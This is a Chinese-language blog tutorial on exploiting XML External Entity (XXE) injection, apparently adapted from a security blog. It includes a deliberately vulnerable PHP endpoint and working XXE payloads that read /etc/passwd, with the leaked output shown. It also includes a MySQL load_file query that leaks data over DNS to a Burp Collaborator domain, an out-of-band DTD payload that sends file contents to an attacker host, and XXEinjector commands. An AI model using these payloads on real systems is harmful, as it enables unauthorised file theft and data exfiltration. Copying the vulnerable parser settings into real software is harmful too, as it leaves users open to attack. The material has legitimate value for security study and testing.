xml注入
文章参考自:https://depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection(需要jump out of the wall)环境搭建(docker)chttps://blog.csdn.net/MasonQAQ/article/details/78048112XXE----->XML Exte...
欢迎扫码关注微信公众号
文章参考自:https://depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection
(需要jump out of the wall)
环境搭建(docker)
https://blog.csdn.net/MasonQAQ/article/details/78048112
XXE----->XML External Entity
外部XML实体
这个概念是在xml1.0中定义的,比如下面这个XML文件:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
使用System标识符进行声明,下面再出现xxe
的地方就会被替换成/etc/passwd
的内容,使用&
进行引用
实例子:
xml_injectable.php:
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;
echo "You have logged in as user $user";
?>
xml.txt:
<creds>
<user>Ed</user>
<pass>mypass</pass>
</creds>
使用curl
向xml_injectable.php
发起POST
请求:
curl -d @xml.txt http://localhost/xml_injectable.php
前面的这个**@
**是为了不显示返回的HTML
源代码
页面返回结果为:
curl -d @xml.txt http://144.34.164.217/xml_injectable.php
You have logged in as user
现在我们改变xml
文件的内容,引入外部实体(远程主机上面的文件)
injector.xml:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
标签的内容会被替换为/etc/passwd
中的内容
返回结果为:
x@123-PC:~$ curl -d @injector.xml http://144.34.164.217/xml_injectable.php
You have logged in as user root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
mysql:x:102:106:MySQL Server,,,:/nonexistent:/bin/false
burp的scanner模块中有xxe注入的检测模块
XXEinjector
项目地址:
https://github.com/enjoiz/XXEinjector
下面我们来解释一下XXEinjector
是如何工作的
和burp的检测模块相比,XXEinjector的操作稍有不同
在上面的守住过程和burp的检测过程中,我们的目标都把外部实体进行了回显,但是在实际的场景中,发生这种事情的概率是很小的,大部分情况下是没有直接回显的,这时候,我们就需要利用带外的方式来查看返回的数据了
DNS外带通信在盲注中的作用
我们顺便稍微说一下DNS带外通信获取数据
我们经常会遇到mysql
的盲注,如果是时间盲注,会非常的耗时间,在这种场景下,我们就可以利用DNS
查询来大大地加快获取数据的速度,我们知道,在正常情况下,mysql
的链接url
是这种形式:
\\xxx.xxx.xxx.xxx\dbname
所以我们只要构造一个这样的东西就行了,将xxx.xxx.xxx.xxx
替换成一个我们可以查看查询记录的域名,这里我们使用burp
的Burp Collaborator client
模块
将burp
给我们提供的域名复制到粘贴板,下面进行测试:
我们利用的前提是file_priv
的值不能是NULL
mysql> show variables like 'secure_file_priv';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.00 sec)
这个可以通过在mysql的配置文件中添加一行secure_file_priv=
,空格就行,主要是为了保证我们能使用load_file
mysql> select load_file(concat('\\\\', version(),'.punqqyzo4srjx5c2icr8rbqrui08ox.burpcollaborator.net\\abc'));
+--------------------------------------------------------------------------------------------------+
| load_file(concat('\\\\', version(),'.punqqyzo4srjx5c2icr8rbqrui08ox.burpcollaborator.net\\abc')) |
+--------------------------------------------------------------------------------------------------+
| NULL |
+--------------------------------------------------------------------------------------------------+
1 row in set (23.60 sec)
punqqyzo4srjx5c2icr8rbqrui08ox.burpcollaborator.net
是刚才复制到粘贴板中的域名,mysql
在尝试加载数据的时候,会触发DNS查询,然后我们点击poll now
,就能看到查询记录,mysql
的版本被拼接到了查询的域名的最低级的位置:
在xml
注入中,使用这项技术要求受害者需要与攻击者链接,这就意味着我们会遇到端口被过滤的问题,XXEinjector
为我们提供了一个选项--enumports
,会为我们枚举出可以使用的port
XXEinjector原理
首先,XXEinjector会提交一个这样的请求:
POST /xml_injectable.php HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 158
Host: 192.168.242.139
Content-Type: application/x-www-form-urlencoded
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.240.1:80/file.dtd">%remote;%int;%trick;]>
<creds>
<user>blah</user>
<pass>mypass</pass>
</creds>
我们的payload主要就是下面这一段代码:
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.240.1:80/file.dtd">%remote;%int;%trick;]>
他会要求受害者请求远程主机的192.168.240.1:80/file.dtd
,然后我们再看远程主机中的file.dtd
中的内容:
<!ENTITY % payl SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM
'http://192.168.240.1:80/?p=%payl;'>">
xml
中的dtd
文件就是用来定义每个节点的:https://www.w3schools.com/xml/xml_dtd.asp
这里把上面没有定义的int
和trick
也给补充了上去,payl
被替换成受害者主机的本地文件/etc/passwd
的内容,trick
被定义在了int
的里面,trick
会像我们的攻击机发起一个get请求,将/etc/passwd
的内容传上去,然后XXeinjector
会把它保存成一个文件存在我们的攻击机上,这样一来,就算受害者的XXE漏洞没有回显,我们依然可以得到他的敏感文件
使用方法:
ruby XXEinjector.rb --host=192.168.240.1 --path=/etc/passwd --file=phprequest.txt --proxy=192.168.240.1:8080 --oob=http --verbose --phpfilter
-
host参数指定目标主机
-
path参数指定要读取的文件
-
file参数指定我们的原始payload,还没有被修改(不包含恶意代码),格式如下:
POST /xml_injectable.php HTTP/1.1 Host: 192.168.242.139 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 XXEINJECT <creds> <user>blah</user> <pass>mypass</pass> </creds>
使用XXEINJECT指定恶意代码的位置
-
proxy参数指定代理,这个不是强制性的参数,主要使用来隐藏供给者的身份
-
phpfilter参数用于将
http://192.168.240.1:80/?p=%payl
的p
后面的参数进行base64转码,不然直接以http://192.168.240.1:80/?p=/etc/passwd
的形式传输数据会出错
关于php://filter/read=convert.base64-encode/resource=file:///etc/passwd
的解释:https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/
注意事项
在使用XXEinjector.rb脚本时,我们的phprequests.txt需要在最后有一个空行,不然会报错
更多推荐
所有评论(0)